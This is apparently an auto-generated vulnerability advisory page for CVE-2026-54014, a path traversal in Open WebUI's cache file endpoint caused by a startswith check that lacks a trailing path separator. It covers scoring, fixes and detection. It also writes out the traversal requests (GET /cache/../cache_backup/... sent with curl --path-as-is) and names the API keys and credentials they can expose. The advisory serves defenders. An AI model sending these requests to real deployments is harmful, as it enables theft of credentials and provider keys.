CVE-2026-54014: Open WebUI path traversal exposes

Q: Is CVE-2026-54014 actively exploited?

No confirmed active exploitation of CVE-2026-54014 has been reported, but organizations should still patch proactively.

Q: How to fix CVE-2026-54014?

1. Patch: Upgrade open-webui to 0.9.6 (one-character fix — `os.sep` appended to startswith prefix). 2. Workaround pending patch: Audit and relocate any sensitive files from directories sibling to CACHE_DIR whose names begin with 'cache'. 3. Detection: Grep web server access logs for GET /cache/../ sequences; raw HTTP clients leave unnormalized paths, unlike browser traffic. 4. Hardening: Run open-webui under a service account with filesystem access scoped strictly to its required directories — no read access to adjacent paths. 5. Validate fix: Apply PoC (poc.py from advisory) against your instance before and after patch to confirm remediation.

Q: What systems are affected by CVE-2026-54014?

This vulnerability affects the following AI/ML architecture patterns: LLM chat interfaces, local model serving deployments, AI inference frontends, ML UI platforms.

Q: What is the CVSS score for CVE-2026-54014?

CVE-2026-54014 has a CVSS v3.1 base score of 4.3 (MEDIUM). The EPSS exploitation probability is 0.29%.

CISO Take

Open-webui's cache file serving endpoint contains a path traversal flaw where a missing trailing path separator in the `startswith` security check allows any authenticated user to read files from sibling directories whose names begin with 'cache' (e.g., `cache_backup`, `cached_models`). Exploitation requires only a valid low-privilege user account and a raw HTTP client — browsers normalize the traversal automatically, but curl with `--path-as-is` or direct ASGI delivers it unchanged, making this accessible to any motivated insider or holder of a compromised credential. The EPSS top-88th-percentile ranking and this package's history of 102 prior CVEs signal chronic security debt and elevated scanning attention; while not yet in CISA KEV, automated tools will index this quickly. Upgrade to open-webui 0.9.6 immediately and audit all directories adjacent to CACHE_DIR for any sensitive files that may share a 'cache' prefix naming convention.

Sources: NVD EPSS GitHub Advisory ATLAS

What is the risk?

CVSS 4.3 (Medium) understates contextual risk in AI deployments where open-webui frequently co-locates with sensitive adjacent directories — API key stores, model configuration snapshots, and credential caches — that may carry a 'cache' prefix by naming convention or ops habit. Exploitation requires authentication (any user role) and raw HTTP delivery, ruling out unauthenticated mass exploitation, but insider threat and compromised-credential scenarios are plausible and realistic. The package's 102 prior CVEs and top-88th-percentile EPSS compound residual risk beyond what the base score reflects.

How does the attack unfold?

Initial Access

Attacker authenticates to open-webui with any valid user account (role: user or admin), obtained via self-registration, phishing, or credential stuffing.

AML.T0012

Exploitation

Attacker crafts a raw HTTP GET to /cache/../cache_backup/secret using curl --path-as-is or direct ASGI, bypassing browser-side path normalization to deliver the traversal sequence unmodified.

AML.T0049

Validation Bypass

The resolved path /data/cache_backup/secret passes open-webui's incomplete startswith('/data/cache') check because 'cache_backup' shares the prefix; the file is served without restriction.

Data Exfiltration

Server streams file contents (credentials, API keys, config snapshots) from the sibling directory over the authenticated HTTPS session, enabling lateral movement into upstream model provider accounts.

AML.T0025

Initial Access

Attacker authenticates to open-webui with any valid user account (role: user or admin), obtained via self-registration, phishing, or credential stuffing.

AML.T0012

Exploitation

Attacker crafts a raw HTTP GET to /cache/../cache_backup/secret using curl --path-as-is or direct ASGI, bypassing browser-side path normalization to deliver the traversal sequence unmodified.

AML.T0049

Validation Bypass

The resolved path /data/cache_backup/secret passes open-webui's incomplete startswith('/data/cache') check because 'cache_backup' shares the prefix; the file is served without restriction.

Data Exfiltration

Server streams file contents (credentials, API keys, config snapshots) from the sibling directory over the authenticated HTTPS session, enabling lateral movement into upstream model provider accounts.

AML.T0025

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
Open WebUI	pip	<= 0.9.5	`0.9.6`
147.6K 4 dependents Pushed 6d ago 81% patched ~6d to patch Full package profile →

Do you use Open WebUI? You're affected.

How severe is it?

CVSS 3.1

4.3 / 10

EPSS

0.3%

chance of exploitation in 30 days

Higher than 21% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Trivial

Exploitation Confidence

medium

○ CISA SSVC: Public PoC

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV Network

AC Low

PR Low

UI None

S Unchanged

C Low

I None

A None

What should I do?

5 steps

Patch: Upgrade open-webui to 0.9.6 (one-character fix — os.sep appended to startswith prefix).
Workaround pending patch: Audit and relocate any sensitive files from directories sibling to CACHE_DIR whose names begin with 'cache'.
Detection: Grep web server access logs for GET /cache/../ sequences; raw HTTP clients leave unnormalized paths, unlike browser traffic.
Hardening: Run open-webui under a service account with filesystem access scoped strictly to its required directories — no read access to adjacent paths.
Validate fix: Apply PoC (poc.py from advisory) against your instance before and after patch to confirm remediation.

What does CISA's SSVC say?

Decision Track*

Exploitation poc

Automatable No

Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Data Extraction Inference AML.T0025 - Exfiltration via Cyber Means AML.T0037 - Data from Local System AML.T0049 - Exploit Public-Facing Application

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 15 - Accuracy, Robustness and Cybersecurity

ISO 42001

A.9.4 - Information security in AI system development

NIST AI RMF

MANAGE 2.4 - Risks associated with AI system components and supply chain

OWASP LLM Top 10

LLM02:2025 - Sensitive Information Disclosure

Frequently Asked Questions

What is CVE-2026-54014?

Open-webui's cache file serving endpoint contains a path traversal flaw where a missing trailing path separator in the `startswith` security check allows any authenticated user to read files from sibling directories whose names begin with 'cache' (e.g., `cache_backup`, `cached_models`). Exploitation requires only a valid low-privilege user account and a raw HTTP client — browsers normalize the traversal automatically, but curl with `--path-as-is` or direct ASGI delivers it unchanged, making this accessible to any motivated insider or holder of a compromised credential. The EPSS top-88th-percentile ranking and this package's history of 102 prior CVEs signal chronic security debt and elevated scanning attention; while not yet in CISA KEV, automated tools will index this quickly. Upgrade to open-webui 0.9.6 immediately and audit all directories adjacent to CACHE_DIR for any sensitive files that may share a 'cache' prefix naming convention.

Is CVE-2026-54014 actively exploited?

No confirmed active exploitation of CVE-2026-54014 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-54014?

1. Patch: Upgrade open-webui to 0.9.6 (one-character fix — `os.sep` appended to startswith prefix). 2. Workaround pending patch: Audit and relocate any sensitive files from directories sibling to CACHE_DIR whose names begin with 'cache'. 3. Detection: Grep web server access logs for GET /cache/../ sequences; raw HTTP clients leave unnormalized paths, unlike browser traffic. 4. Hardening: Run open-webui under a service account with filesystem access scoped strictly to its required directories — no read access to adjacent paths. 5. Validate fix: Apply PoC (poc.py from advisory) against your instance before and after patch to confirm remediation.

What systems are affected by CVE-2026-54014?

This vulnerability affects the following AI/ML architecture patterns: LLM chat interfaces, local model serving deployments, AI inference frontends, ML UI platforms.

What is the CVSS score for CVE-2026-54014?

CVE-2026-54014 has a CVSS v3.1 base score of 4.3 (MEDIUM). The EPSS exploitation probability is 0.29%.

What is the AI security impact?

Affected AI Architectures

LLM chat interfaceslocal model serving deploymentsAI inference frontendsML UI platforms

MITRE ATLAS Techniques

AML.T0025 Exfiltration via Cyber Means

AML.T0037 Data from Local System

AML.T0049 Exploit Public-Facing Application

Compliance Controls Affected

EU AI Act: Article 15

ISO 42001: A.9.4

NIST AI RMF: MANAGE 2.4

OWASP LLM Top 10: LLM02:2025

What are the technical details?

Original Advisory

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.6, a path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete startswith containment check that lacks a trailing path separator. The root cause is that serve_cache_file() in open_webui/main.py validates the resolved path with file_path.startswith(os.path.abspath(CACHE_DIR)) — without appending os.sep. This allows any path resolving to a sibling directory whose name begins with cache (e.g. cache_sibling, cache_backup, cached_models) to pass validation. This vulnerability is fixed in 0.9.6.

Exploitation Scenario

An adversary with a standard open-webui user account — obtained via self-registration, phishing, or credential stuffing — uses curl with `--path-as-is` to issue GET /cache/../cache_backup/config.json. The raw path bypasses client-side normalization, reaches the FastAPI handler, resolves to /data/cache_backup/config.json, and passes the flawed startswith check because 'cache_backup' begins with 'cache'. In a typical LLM serving deployment, a `cache_backup` directory created during a routine ops backup rotation may contain an `.env` snapshot with OpenAI or Anthropic API keys — giving the attacker direct access to the upstream model provider account used by the organization.

Weaknesses (CWE)

CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Primary CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Primary CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'): The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

[Implementation] Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylis
[Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Source: MITRE CWE corpus.